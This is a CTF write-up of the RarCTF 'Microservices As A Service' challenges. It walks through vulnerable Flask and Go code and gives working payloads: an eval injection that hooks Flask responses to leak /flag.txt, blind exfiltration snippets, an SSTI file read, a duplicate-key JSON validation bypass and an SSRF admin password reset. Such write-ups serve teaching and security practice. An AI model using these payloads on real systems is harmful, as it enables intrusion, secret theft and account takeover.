It’s been a while since I last played in any CTF, and somehow I ended up playing in 3 concurrent CTFs last weekend – BSides Noida CTF, Defcon Cloud Village CTF, and RarCTF. I ended up working on and solving ~15 challenges total!
Here’s a summary of the CTF results:
- 2nd place in DefCon Cloud Village CTF (Played with CTF.SG)
- 5th place in BSides Noida CTF (Played with NUS Greyhats)
- 12th place place in RaRCTF (Played with CTF.SG)
It was a great team effort in achieving such results :)
In this writeup, I will focus solely on the Microservices As A Service (MAAS) challenge from RaRCTF.
Introduction
Microservices As A Service (MAAS) is designed to be a 3-part challenge, but 2 additional parts were added during the competition to (somewhat) address the unintended solutions. Since there is an official writeup, I will only discuss the intended solutions and alternative solutions here.
MAAS consists of 3 microservices – Calculator, Notes, and Manager. The mapping of challenges and microservices are as follows:
- MAAS 1 - Calculator
- MAAS 2 - Notes
- MAAS 2.5 - Notes (Fix for MAAS2)
- MAAS 3 - Manager
- MAAS 3.5 - Manager (Fix for MAAS3)
MAAS 1 - Calculator
Let’s jump straight to the source code for the calculator
microservice:
@app.route('/arithmetic', methods=["POST"])
def arithmetic():
if request.form.get('add'):
r = requests.get(f'http://arithmetic:3000/add?n1={request.form.get("n1")}&n2={request.form.get("n2")}')
elif request.form.get('sub'):
r = requests.get(f'http://arithmetic:3000/sub?n1={request.form.get("n1")}&n2={request.form.get("n2")}')
elif request.form.get('div'):
r = requests.get(f'http://arithmetic:3000/div?n1={request.form.get("n1")}&n2={request.form.get("n2")}')
elif request.form.get('mul'):
r = requests.get(f'http://arithmetic:3000/mul?n1={request.form.get("n1")}&n2={request.form.get("n2")}')
result = r.json()
res = result.get('result')
if not res:
return str(result.get('error'))
try:
res_type = type(eval(res, builtins.__dict__, {})))
if res_type is int or res_type is float:
return str(res)
else:
return "Result is not a number"
except NameError:
return "Result is invalid"
Clearly, having some user-controlled input to eval()
allows execution of arbitrary code and leaking of the flag. The /add
endpoint simply returns the concatenation of n1
and n2
parameters as strings, allowing us pass a user-controlled input to eval()
.
If we want to leak the flag directly, we could replace res
local variable with the flag such that when the microservice returns the result to the frontend app, we are able to see the flag. However, notice that for the eval()
, globals were restricted to builtins.__dict__
, and we are unable to access local variables as well.
With access to builtins, we can import arbitrary Python modules using __import__("package_name")
and read arbitrary files using open("filename", "r").read()
. This allows for a blind exfiltration of the flag, either using a boolean-based (e.g. comparison) or time-based (e.g. using time.sleep()
) technique.
A time-based blind exfiltration of the flag can be performed by ensuring that the following string is passed to eval()
:
exec('''
sleep = __import__("time").sleep
flag = open("/flag.txt", "r").read()
current_char = flag[0] # replace index accordingly
sleep(ord(current_char))
''')
Or, you can also using a comparison-based method to leak characters of the flag one-by-one in the reference solution:
1 if open('/flag.txt', 'r').read()[0] == 'r' else None
But, such blind exfiltration techniques are pretty slow and sometimes unreliable, so let’s just leak the entire flag directly. One possible way to do so is to add a @app.after_request
handler to the microservice, intercepting our response and adding the flag to our request.
Here’s an example of how we would have written the code if we were to implement such a handler in the application directly:
@app.after_request
def after_request_func(response):
if b"res must contain this secret sentence to get flag :)" in response.data:
response.data = open("/flag.txt","r").read()
return response
Since we do not have access to global variables, we need to obtain a reference of the app somehow. We can easily get a reference to the current Flask app via flask.current_app
.
Putting everything together, this was the payload I used to get the flag:
n1:
[1337,exec('app = __import__("flask").current_app\n@app.after_request\ndef after_request_func(response):\n if b"res must contain this secret sentence to get flag :)" in response.data:\n response.data = open("/flag.txt","r").read()\n return response')]
n2:
[0]
Flag: rarctf{0v3rk1ll_4s_4_s3rv1c3_3fca0faa}
MAAS 2 - Notes
Below is the relevant vulnerable code for the notes
backend microservice:
@app.route('/useraction', methods=["POST"])
def useraction():
mode = request.form.get("mode")
username = request.form.get("username")
if mode == "register":
...
elif mode == "bioadd":
bio = request.form.get("bio")
bio.replace(".", "").replace("_", "").\
replace("{", "").replace("}", "").\
replace("(", "").replace(")", "").\
replace("|", "")
bio = re.sub(r'\[\[([^\[\]]+)\]\]', r'', bio)
red = redis.Redis(host="redis_users")
port = red.get(username).decode()
requests.post(f"http://redis_userdata:5000/bio/{port}", json={
"bio": bio
})
return ""
elif mode == "bioget":
red = redis.Redis(host="redis_users")
port = red.get(username).decode()
r = requests.get(f"http://redis_userdata:5000/bio/{port}")
return r.text
...
@app.route("/render", methods=["POST"])
def render_bio():
data = request.json.get('data')
if data is None:
data = {}
return render_template_string(request.json.get('bio'), data=data)
Here, we can see that there’s a server-side template injection (SSTI) vulnerability in /render
, where we can render the bio
of a user
. However, we cannot reach this endpoint directly – we can only access this endpoint through the frontend application, which calls /useraction
with bioget
mode to fetch the user’s bio and then rendering it via /render
.
Interestingly, the denylist implementation in bioadd
mode is flawed:
bio = request.form.get("bio")
bio.replace(".", "").replace("_", "").\
replace("{", "").replace("}", "").\
replace("(", "").replace(")", "").\
replace("|", "")
Notice that the resulting string after replacing the banned characters is not actually being assigned to bio. This means that we can use any SSTI payloads directly to achieve RCE/arbitrary file read to leak the flag!
To get the flag, we can simply register a user and then update the user’s bio with the following SSTI payload:
{{ _.__eq__.__func__.__globals__.__builtins__.open('/flag.txt').read() }}
Flag: rarctf{wh4t_w4s_1_th1nk1ng..._60a4ee96}
MAAS 2.5 - Notes (Fixed)
Of course, the above solution was an unintended one. The fix was to assign the resulting replacement string back to bio
variable.
I actually solved MAAS 2 with the intended solution for MAAS 2.5 before realising the mistake in the bioadd
implementation.
The only redeeming factor was that I got a first blood on this challenge!
The solution I got for this fixed challenge is as per the reference solution – using the Redis migration to override the port
of our user to ../bio/
so that we can override the server-side request path to put the SSTI payload in the bio when adding a new key following the migration.
Flag: rarctf{.replace()_1s_n0t_1n_pl4c3...e8d54d13}
MAAS 3 - Manager
Below is the relevant vulnerable code for the app
frontend:
@app.route("/manager/update", methods=["POST"])
def manager_update():
schema = {"type": "object",
"properties": {
"id": {
"type": "number",
"minimum": int(session['managerid'])
},
"password": {
"type": "string",
"minLength": 10
}
}}
try:
jsonschema.validate(request.json, schema)
except jsonschema.exceptions.ValidationError:
return jsonify({"error": f"Invalid data provided"})
return jsonify(requests.post("http://manager:5000/update",
data=request.get_data()).json())
The manager
backend microservice then relays the JSON data to a Golang backend service.
@app.route("/update", methods=["POST"])
def update():
return jsonify(requests.post("http://manager_updater:8080/",
data=request.get_data()).json())
It can be seen that the request.get_data()
(i.e. the raw request body) instead of request.json
(i.e. the parsed JSON object) is being passed to the backend Golang backend service instead. If you have read BishopFox Labs’ article on JSON interoperability vulnerabilities, you will recognise that this can easily introduce inconsistencies in parsing JSON, which leads to unintended behaviours in application flows. In Flask, the parsing of request body as JSON ignores duplicated keys, keeping the last value in the resulting JSON object. But, in the Golang backend service using buger/jsonparser
, the first value is returned instead.
If our manager ID is 2, we can send a POST request to /manager/update
with the following request body:
{"id":0,"id":2,"password":"some_difficult_password_that_is_hard_for_others_to_guess"}
This bypasses the frontend validation, which sees that the minimum ID value accepted is the last id
value – 2
. But, on the Golang backend service, it updates the password for manager ID 0
instead!
As a result, we can simply log in as admin
with the password we set above to obtain the flag.
Flag: rarctf{rfc8259_15_4_b1t_v4gu3_1a97a3d3}
MAAS 3.5 - Manager (Fixed)
Naturally, the above solution was the intended solution, so copy-pasting the same solution from above works for MAAS 3.5.
Sadly, this challenge was pretty much broken even after the fixed version was released. They simply shifted the JSON validation checks from the app
frontend to the manager
backend service, but that didn’t fully prevent unintended solutions either.
So what went wrong? Well, looking at the docker-compose.yml
file provided, it can be observed that network segregation is not done correctly:
version: "3.3"
services:
app:
build: app
ports:
- "5000:5000"
depends_on: ["calculator", "notes", "manager"]
networks:
- public
- level-1
calculator:
build: calculator
depends_on: ["checkers", "arithmetic"]
networks:
- level-1
- calculator-net
checkers:
build: calculator/checkers
networks:
- calculator-net
arithmetic:
build: calculator/arithmetic
networks:
- calculator-net
notes:
build: notes
depends_on: ["redis_users", "redis_userdata"]
networks:
- level-1
- notes-net
redis_users:
image: library/redis:latest
networks:
- notes-net
redis_userdata:
build: notes/redis_userdata
networks:
- notes-net
manager:
build: manager
depends_on: ["manager_users", "manager_updater"]
networks:
- level-1
- manager-net
manager_users:
image: library/redis:latest
networks:
- manager-net
manager_updater:
build: manager/updater
networks:
- level-1
- manager-net
networks:
public:
driver: bridge
level-1:
driver: bridge
internal: true
calculator-net:
driver: bridge
internal: true
notes-net:
driver: bridge
internal: true
manager-net:
driver: bridge
internal: true
Notice that the manager_updater
Golang service is in both manager-net
and level-1
networks. Since calculator
and notes
are also in level-1
network, we can leverage the arbitrary code execution in calculator
or SSTI in notes
microservice to perform SSRF, allowing us to perform password update on the admin account using the manager_updater
Golang service.
This unintended solution works even with the fixed version of manager, so you didn’t need to know about the JSON interoperability vulnerabilities and could still solve it anyways.
We can simply use the eval()
RCE in calculator
microservice to change the admin
password, and then log in as admin with the password set to obtain the flag:
[1337,exec('''__import__("requests").post("http://manager_updater:8080/",data='{"id":0,"password":"some_difficult_password_that_is_hard_for_others_to_guess"}')''')][0]
Flag: rarctf{k33p_n3tw0rks_1s0l4t3d_lol_ef2b8ddc}